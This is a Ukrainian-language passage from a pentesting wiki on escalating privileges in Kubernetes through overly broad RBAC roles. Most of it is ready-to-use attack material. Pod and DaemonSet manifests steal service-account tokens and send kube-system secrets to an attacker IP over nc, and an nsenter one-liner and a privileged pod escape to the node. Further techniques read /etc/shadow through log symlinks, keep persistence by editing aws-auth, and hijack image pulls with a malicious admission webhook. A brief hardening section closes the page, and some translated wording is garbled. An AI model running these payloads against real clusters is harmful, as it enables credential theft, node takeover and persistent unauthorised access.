Abusing Roles/ClusterRoles in Kubernetes

Вивчайте та вправляйтеся в хакінгу AWS: Школа хакінгу HackTricks AWS Red Team Expert (ARTE) Вивчайте та вправляйтеся в хакінгу GCP: Школа хакінгу HackTricks GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Перевірте плани підписки!
Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв GitHub.

Тут ви можете знайти деякі потенційно небезпечні конфігурації Ролей та Кластерних Ролей. Пам'ятайте, що ви можете отримати всі підтримувані ресурси за допомогою kubectl api-resources

Підвищення привілеїв

Називаючи це мистецтвом отримання доступу до іншого принципала в межах кластера з іншими привілеями (в межах кластера Kubernetes або до зовнішніх хмар), в Kubernetes існує в основному 4 основні техніки підвищення привілеїв:

Мати можливість імперсонувати інших користувачів/групи/СА з кращими привілеями в межах кластера Kubernetes або до зовнішніх хмар
Мати можливість створювати/змінювати/виконувати контейнери де ви можете знайти або приєднати СА з кращими привілеями в межах кластера Kubernetes або до зовнішніх хмар
Мати можливість читати секрети, оскільки токени СА зберігаються як секрети
Мати можливість вибратися на вузол з контейнера, де ви можете вкрасти всі секрети контейнерів, що працюють на вузлі, облікові дані вузла та дозволи вузла в межах хмари, в якій він працює (якщо такі є)
П'ята техніка, яка заслуговує на згадку, - це можливість запустити перенаправлення портів в контейнері, оскільки ви можете мати доступ до цікавих ресурсів в цьому контейнері.

Доступ до будь-якого ресурсу або дії (Зірочка)

Зірочка (*) надає дозвіл на будь-який ресурс з будь-якою дією. Використовується адміністраторами. У межах Кластерної Ролі це означає, що зловмисник може зловживати будь-яким простором імен в кластері.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Отримання доступу до будь-якого ресурсу з конкретним дієсловом

У RBAC деякі дозволи становлять значний ризик:

create: Надає можливість створювати будь-який кластерний ресурс, загрожуючи ескалацією привілеїв.
list: Дозволяє перелік усіх ресурсів, що потенційно може витікати конфіденційні дані.
get: Дозволяє отримання доступу до секретів від облікових записів служб, що становить загрозу безпеці.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Створення Pod - Крадіжка токену

Зловмисник з дозволом на створення pod може додати привілейований обліковий запис служби в pod і вкрасти токен для імітації облікового запису служби. Ефективно підвищуючи привілеї до нього

Приклад pod, який вкраде токен облікового запису служби bootstrap-signer і надішле його зловмиснику:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Створення та втеча з Pod

Наступне вказує на всі привілеї, які може мати контейнер:

Привілейований доступ (вимкнення захисту та встановлення можливостей)
Вимкнення просторів імен hostIPC та hostPid, що може допомогти у підвищенні привілеїв
Вимкнення простору імен hostNetwork, що дає доступ до викрадення привілеїв хмарних вузлів та кращий доступ до мереж
Підключення /etc/ хостів всередині контейнера

super_privs.yaml

apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Створіть pod з:

kubectl --token $token create -f mount_root.yaml

Однорядковий коментар з цього твіту з деякими додатками:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Тепер, коли ви можете втекти до вузла, перевірте техніки пост-експлуатації в:

Прихованість

Ймовірно, вам захочеться бути прихованішим, на наступних сторінках ви можете побачити, до чого ви зможете отримати доступ, якщо створите капсулу, увімкнувши лише деякі з вказаних привілеїв у попередньому шаблоні:

Привілейований + hostPID
Лише привілейований
hostPath
hostPID
hostNetwork
hostIPC

Ви можете знайти приклад того, як створити/зловживати попередніми конфігураціями привілейованих капсул у https://github.com/BishopFox/badPods

Створення капсули - Перехід до хмари

Якщо ви можете створити капсулу (і, за бажанням, обліковий запис служби), ви, можливо, зможете отримати привілеї в хмарному середовищі, призначивши хмарні ролі капсулі або обліковому запису служби, а потім отримати до них доступ. Більше технічної інформації дивіться:

Pod Escape Privileges

Створення/Зміна розгортання, Демонічні набори, Набори зі станом, Контролери реплікації, Набори реплік, Завдання та Регулярні завдання

Можливо використовувати ці дозволи для створення нової капсули та встановлення привілеїв, як у попередньому прикладі.

Наступний yaml створює демонічний набір та виводить токен облікового запису служби всередині капсули:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Виконання Pods

pods/exec - це ресурс в Kubernetes, який використовується для виконання команд в оболонці всередині пода. Це дозволяє виконувати команди всередині контейнерів або отримувати оболонку всередині.

Отже, можливо потрапити всередину пода та вкрасти токен SA, або потрапити в привілейований под, втекти на вузол та вкрасти всі токени подів на вузлі та (зловживати) вузол:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Ця дозвіл дозволяє перенаправити один локальний порт на один порт у вказаному котейнері. Це призначено для можливості легко відлагоджувати додатки, що працюють всередині котейнера, але зловмисник може зловживати цим, щоб отримати доступ до цікавих (наприклад, БД) або вразливих додатків (веб?) всередині котейнера:

kubectl port-forward pod/mypod 5000:5000

Запис на хостах /var/log/ Escape

Як вказано в цьому дослідженні, якщо ви можете отримати доступ або створити pod з монтуванням каталогу хостів /var/log/, ви можете вийти з контейнера. Це в основному тому, що коли Kube-API намагається отримати журнали контейнера (використовуючи kubectl logs <pod>), він запитує файл 0.log pod за допомогою кінцевої точки /logs/ сервісу Kubelet. Сервіс Kubelet викриває кінцеву точку /logs/, яка в основному просто викриває файлову систему /var/log контейнера.

Отже, зловмисник з доступом до запису в каталозі /var/log/ контейнера може зловживати цими поведінками двома способами:

Зміна файлу 0.log свого контейнера (зазвичай розташованого в /var/logs/pods/namespace_pod_uid/container/0.log) на символічне посилання, що вказує на /etc/shadow, наприклад. Потім ви зможете витягти файл тіні господарів, виконавши:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file

Якщо зловмисник контролює будь-якого принципала з дозволами на читання nodes/log, він може просто створити символічне посилання в /host-mounted/var/log/sym на / і коли звертається до https://<gateway>:10250/logs/sym/, він перегляне кореневу файлову систему хостів (зміна символічного посилання може надати доступ до файлів).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Лабораторія та автоматизований експлойт можуть бути знайдені за посиланням https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Обхід захисту від запису

Якщо ви маєте достатньо щастя та високопривілейовану можливість CAP_SYS_ADMIN, ви можете просто повторно монтувати папку як rw:

mount -o rw,remount /hostlogs/

Обхід захисту hostPath readOnly

Як зазначено в цьому дослідженні, можливо обійти захист:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Що мало запобігти втечам, подібним попереднім, шляхом використання PersistentVolume та PersistentVolumeClaim для монтування папки хоста в контейнері з можливістю запису замість використання монтування hostPath.

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Імітація привілейованих облікових записів

За допомогою привілею імітації користувача, зловмисник може імітувати привілейований обліковий запис.

Просто використовуйте параметр --as=<username> у команді kubectl для імітації користувача або --as-group=<group> для імітації групи:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Або скористайтеся REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Перелік секретів

Дозвіл на перегляд секретів може дозволити зловмиснику фактично прочитати секрети, отримуючи доступ до кінцевої точки REST API:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Читання секрету - перебір ідентифікаторів токенів

Хоча для атакуючого, який має токен з дозволами на читання, потрібне точне ім'я секрету для його використання, на відміну від ширшого привілею переліку секретів, все ще існують вразливості. Стандартні облікові записи служб у системі можуть бути перелічені, кожен з них пов'язаний з секретом. Ці секрети мають структуру імені: статичний префікс, за яким слідує випадковий п'ятизначний алфавітно-цифровий токен (за винятком певних символів) згідно з вихідним кодом.

Токен генерується з обмеженого набору з 27 символів (bcdfghjklmnpqrstvwxz2456789), а не з повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, атакуючий може виконати атаку методом перебору для визначення токену за кілька годин, що потенційно може призвести до підвищення привілеїв шляхом доступу до чутливих облікових записів служб.

Запити на підпис сертифікатів

Якщо у вас є дієслова create у ресурсі certificatesigningrequests (або принаймні у certificatesigningrequests/nodeClient). Ви можете створити новий CeSR для нового вузла.

Згідно з документацією, ці запити можна автоматично схвалити, тому в цьому випадку вам не потрібні додаткові дозволи. Якщо ні, вам потрібно мати можливість схвалити запит, що означає оновлення в certificatesigningrequests/approval та approve в signers з resourceName <signerNameDomain>/<signerNamePath> або <signerNameDomain>/*

Приклад ролі з усіма необхідними дозволами:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Отже, з новим затвердженим запитом CSR вузла ви можете зловживати спеціальними дозволами вузлів, щоб вкрасти секрети та підвищити привілеї.

У цьому пості та цьому конфігурація GKE K8s TLS Bootstrap налаштована з автоматичним підписанням та використовується для генерації облікових даних нового вузла K8s, а потім використовується для підвищення привілеїв шляхом крадіжки секретів. Якщо у вас є згадані привілеї, ви можете зробити те саме. Зверніть увагу, що перший приклад обходить помилку, яка перешкоджає новому вузлу отримати доступ до секретів всередині контейнерів, оскільки вузол може отримати доступ лише до секретів контейнерів, змонтованих на ньому.

Шляхом обходу цього просто створіть облікові дані вузла для імені вузла, на якому змонтований контейнер з цікавими секретами (але просто перевірте, як це зробити у першому пості):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth конфігураційні карти

Суб'єкти, які можуть змінювати configmaps в просторі імен kube-system на кластерах EKS (повинні бути в AWS), можуть отримати привілеї адміністратора кластера, перезаписавши конфігураційну карту aws-auth. Дієслова, які потрібні: update та patch, або create, якщо конфігураційна карта не була створена:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Ви можете використовувати aws-auth для постійності, щоб надати доступ користувачам з інших облікових записів.

Однак aws --profile other_account eks update-kubeconfig --name <cluster-name> не працює з іншого облікового запису. Але фактично aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing працює, якщо ви вказуєте ARN кластера замість просто назви. Щоб зробити kubectl працюючим, просто переконайтеся, що налаштовано kubeconfig жертви і в аргументах виконання aws додайте --profile other_account_role, щоб kubectl використовував профіль іншого облікового запису для отримання токена та зв'язку з AWS.

Ескалація в GKE

Є 2 способи призначення дозволів K8s для принципалів GCP. У будь-якому випадку принципалу також потрібно мати дозвіл container.clusters.get, щоб мати можливість збирати облікові дані для доступу до кластера, або вам потрібно створити власний файл конфігурації kubectl (див. наступне посилання).

Під час спілкування з кінцевою точкою API K8s буде відправлено токен автентифікації GCP. Потім GCP, через кінцеву точку API K8s, спочатку перевірить, чи має принципал (за електронною поштою) який-небудь доступ всередині кластера, після чого він перевірить, чи має він який-небудь доступ через GCP IAM. Якщо будь-яке з цього правдиве, він буде відповідати. Якщо ні, буде надана помилка, яка вказує на необхідність надання дозволів через GCP IAM.

Отже, перший метод полягає в використанні GCP IAM, дозволи K8s мають свої еквівалентні дозволи GCP IAM, і якщо у принципала є ці дозволи, він зможе їх використовувати.

GCP - Container Privesc

Другий метод полягає в призначенні дозволів K8s всередині кластера для ідентифікації користувача за його електронною поштою (включаючи облікові записи служб GCP).

Створення токенів службових облікових записів

Принципали, які можуть створювати запити на токени (serviceaccounts/token) Під час спілкування з кінцевою точкою API K8s SAs (інформація з тут).

ephemeralcontainers

Принципали, які можуть оновлювати або змінювати pods/ephemeralcontainers, можуть отримати виконання коду на інших підках, і, можливо, вийти за межі до їх вузла, додавши ефемерний контейнер з привілейованим securityContext

ValidatingWebhookConfigurations або MutatingWebhookConfigurations

Принципали з будь-якими дієсловами create, update або patch над validatingwebhookconfigurations або mutatingwebhookconfigurations можуть створити одну з таких webhookconfigurations, щоб мати можливість ескалювати привілеї.

Для прикладу mutatingwebhookconfigurations перевірте цей розділ цього поста.

Ескалація

Як ви можете прочитати в наступному розділі: Запобігання вбудованій привілейованій ескалації, принципал не може оновлювати або створювати ролі або clusterroles без наявності у нього цих нових дозволів. Крім того, якщо він має дієслово escalate над roles або clusterroles. Тоді він може оновлювати/створювати нові ролі, clusterroles з кращими дозволами, ніж ті, які в нього є.

Проксі вузлів

Принципали з доступом до підресурсу nodes/proxy можуть виконати код на підках через API Kubelet (згідно з цим). Додаткова інформація про аутентифікацію Kubelet на цій сторінці:

Kubelet Authentication & Authorization

У вас є приклад того, як отримати RCE, спілкуючись з авторизованим до API Kubelet тут.

Видалення підок + вузли, що не підлягають плануванню

Принципали, які можуть видаляти підки (дієслово delete над ресурсом pods), або виводити підки (дієслово create над ресурсом pods/eviction), або змінювати статус підка (доступ до pods/status) і можуть робити інші вузли неплановими (доступ до nodes/status) або видаляти вузли (дієслово delete над ресурсом nodes) і мають контроль над підком, можуть викрасти підки з інших вузлів, щоб вони виконувалися в компрометованому вузлі, і зловмисник може вкрасти токени з цих підок.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Статус сервісів (CVE-2020-8554)

Принципали, які можуть змінювати services/status, можуть встановити поле status.loadBalancer.ingress.ip для зловживання невиправленою CVE-2020-8554 та запуску атак типу MiTM проти кластера. Більшість заходів для запобігання CVE-2020-8554 лише унеможливлюють зовнішні служби ExternalIP (згідно з цим).

Статус вузлів та капсул

Принципали з дозволами update або patch над nodes/status або pods/status, можуть змінювати мітки для впливу на обмеження планування.

Вбудоване запобігання підвищенню привілеїв

У Kubernetes є вбудований механізм для запобігання підвищенню привілеїв.

Ця система забезпечує, що користувачі не можуть підвищувати свої привілеї, змінюючи ролі або зв'язки ролей. Застосування цього правила відбувається на рівні API, забезпечуючи захист навіть у випадку неактивного авторизатора RBAC.

Правило передбачає, що користувач може створювати або оновлювати роль лише у випадку, якщо він має всі дозволи, які включає ця роль. Більше того, обсяг існуючих дозволів користувача повинен відповідати обсягу ролі, яку він намагається створити або змінити: або на рівні кластера для ClusterRoles, або обмежений тією ж просторовою областю (або на рівні кластера) для Roles.

Є виняток з попереднього правила. Якщо принципал має дієслово escalate над roles або clusterroles, він може підвищити привілеї ролей та кластерних ролей навіть без наявних у нього дозволів.

Отримання та оновлення RoleBindings/ClusterRoleBindings

Здається, що ця техніка працювала раніше, але за моїми тестами вона більше не працює з тієї ж причини, що пояснено в попередньому розділі. Ви не можете створити/змінити rolebinding, щоб надати собі або іншому SA деякі привілеї, якщо у вас їх вже немає.

Привілегія створення Rolebindings дозволяє користувачеві прив'язувати ролі до облікового запису служби. Ця привілегія потенційно може призвести до підвищення привілеїв, оскільки вона дозволяє користувачеві прив'язувати адміністративні привілеї до компрометованого облікового запису служби.

Інші атаки

Додаток бічного проксі

За замовчуванням в комунікації між капсулами немає жодного шифрування. Взаємна аутентифікація, двостороння, від капсули до капсули.

Створення додатку бічного проксі

Створіть свій .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Відредагуйте свій .yaml файл та додайте розкоментовані рядки:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Перегляньте логи проксі:

kubectl logs app -C proxy

Додаткова інформація за посиланням: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Зловмисний контролер прийому

Контролер прийому перехоплює запити до сервера API Kubernetes перед збереженням об'єкта, але після того, як запит був аутентифікований та авторизований.

Якщо зловмисник якимось чином вдасться впровадити контролер прийому мутацій, він зможе змінювати вже аутентифіковані запити. Це може дозволити йому піднятися в привілеях та, як правило, залишитися в кластері.

Приклад з https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Перевірте статус, щоб переконатися, що він готовий:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Потім розгорнути новий котик:

kubectl run nginx --image nginx
kubectl get po -w

Коли ви бачите помилку ErrImagePull, перевірте назву зображення за допомогою будь-якого з наступних запитів:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Як ви можете побачити на зазначеному зображенні, ми спробували запустити образ nginx, але фінальним виконаним образом є rewanthtammana/malicious-image. Що тільки що сталося !!?

Технічні деталі

Сценарій ./deploy.sh встановлює контролер прийому мутаційних веб-запитів, який змінює запити до API Kubernetes, як вказано в рядках його конфігурації, впливаючи на спостережувані результати:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Зловживання ролями та кластерними ролями в Kubernetes

Вищезазначений уривок замінює зображення першого контейнера в кожному котейнері на rewanthtammana/malicious-image.

Обхід OPA Gatekeeper

https://github.com/HackTricks-wiki/hacktricks-cloud/blob/ua/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md

Найкращі практики

Вимкнення автоматичного монтування токенів облікового запису служби

Котейнери та облікові записи служб: За замовчуванням котейнери монтуватимуть токен облікового запису служби. Для підвищення безпеки Kubernetes дозволяє вимкнення цієї функції автоматичного монтування.
Як застосувати: Встановіть automountServiceAccountToken: false в конфігурації облікових записів служби або котейнерів, починаючи з версії Kubernetes 1.6.

Обмеження призначення користувачів у RoleBindings/ClusterRoleBindings

Селективне включення: Переконайтеся, що в RoleBindings або ClusterRoleBindings включені лише необхідні користувачі. Регулярно аудитуйте та видаляйте непотрібних користувачів для збереження жорсткої безпеки.

Ролі, специфічні для простору імен, над кластерними ролями

Ролі проти Кластерних ролей: Віддавайте перевагу використанню Ролей та RoleBindings для дозволів, специфічних для простору імен, а не Кластерних ролей та ClusterRoleBindings, які застосовуються на рівні кластера. Цей підхід пропонує більш дрібний контроль та обмежує обсяг дозволів.

Використання автоматизованих інструментів

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissionsGitHub

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clustersGitHub

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes BenchmarkGitHub

Посилання

Вивчайте та практикуйте взлом AWS:Навчання HackTricks AWS Red Team Expert (ARTE) Вивчайте та практикуйте взлом GCP: Навчання HackTricks GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Перевірте плани підписки!
Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.

PreviousKubernetes Role-Based Access Control(RBAC)NextPod Escape Privileges

Last updated 1 month ago